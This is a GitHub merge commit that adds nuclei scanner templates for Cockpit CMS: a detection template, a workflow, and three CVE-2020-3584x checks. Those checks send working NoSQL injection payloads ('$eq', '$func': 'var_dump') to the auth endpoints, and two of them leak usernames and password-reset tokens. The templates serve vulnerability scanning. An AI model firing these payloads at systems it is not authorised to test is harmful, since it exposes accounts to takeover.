Merge pull request #1277 from dwisiswant0/add/rce-cockpit-cms

NoSQLi Cockpit CMS
patch-1
PD-Team 2021-04-14 01:40:18 +05:30 committed by GitHub
commit 172c365611
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
5 changed files with 138 additions and 0 deletions

View File

@ -0,0 +1,39 @@
id: CVE-2020-35846
info:
name: Cockpit prior to 0.12.0 NoSQL injection in /auth/check
author: dwisiswant0
severity: critical
description: |
Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php check function.
The $eq operator matches documents where the value of a field equals the specified value.
reference: https://swarm.ptsecurity.com/rce-cockpit-cms/
tags: cve,cve2020,nosqli,sqli
requests:
- method: POST
path:
- "{{BaseURL}}/auth/check"
headers:
Content-Type: application/json
body: |
{
"auth": {
"user": {
"$eq": "admin"
},
"password": [
0
]
}
}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- "password_verify() expects parameter"

View File

@ -0,0 +1,35 @@
id: CVE-2020-35847
info:
name: Cockpit prior to 0.12.0 NoSQL injection in /auth/resetpassword
author: dwisiswant0
severity: critical
description: |
resetpassword method of the Auth controller,
which is responsible for changing the user password using the reset token.
reference: https://swarm.ptsecurity.com/rce-cockpit-cms/
tags: cve,cve2020,nosqli,sqli
requests:
- method: POST
path:
- "{{BaseURL}}/auth/requestreset"
headers:
Content-Type: application/json
body: |
{
"user": {
"$func": "var_dump"
}
}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
part: body
regex:
- 'string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9]+)"'

View File

@ -0,0 +1,35 @@
id: CVE-2020-35848
info:
name: Cockpit prior to 0.12.0 NoSQL injection in /auth/newpassword
author: dwisiswant0
severity: critical
description: |
newpassword method of the Auth controller,
which is responsible for displaying the user password reset form.
reference: https://swarm.ptsecurity.com/rce-cockpit-cms/
tags: cve,cve2020,nosqli,sqli
requests:
- method: POST
path:
- "{{BaseURL}}/auth/newpassword"
headers:
Content-Type: application/json
body: |
{
"token": {
"$func": "var_dump"
}
}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
part: body
regex:
- 'string\([0-9]{1,3}\)(\s)?"rp-([a-f0-9-]+)"'

View File

@ -0,0 +1,15 @@
id: cockpit-detect
info:
name: Detect Agentejo Cockpit
author: dwisiswant0
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/auth/login"
matchers:
- type: word
words:
- "<title>Authenticate Please!</title>"

View File

@ -0,0 +1,14 @@
id: cockpit-workflow
info:
name: Agentejo Cockpit Security Checks
author: dwisiswant0
description: A simple workflow that runs all Agentejo Cockpit related nuclei templates on a given target.
tags: workflow
workflows:
- template: technologies/cockpit-detect.yaml
subtemplates:
- template: cve/2020/CVE-2020-35846.yaml
- template: cve/2020/CVE-2020-35847.yaml
- template: cve/2020/CVE-2020-35848.yaml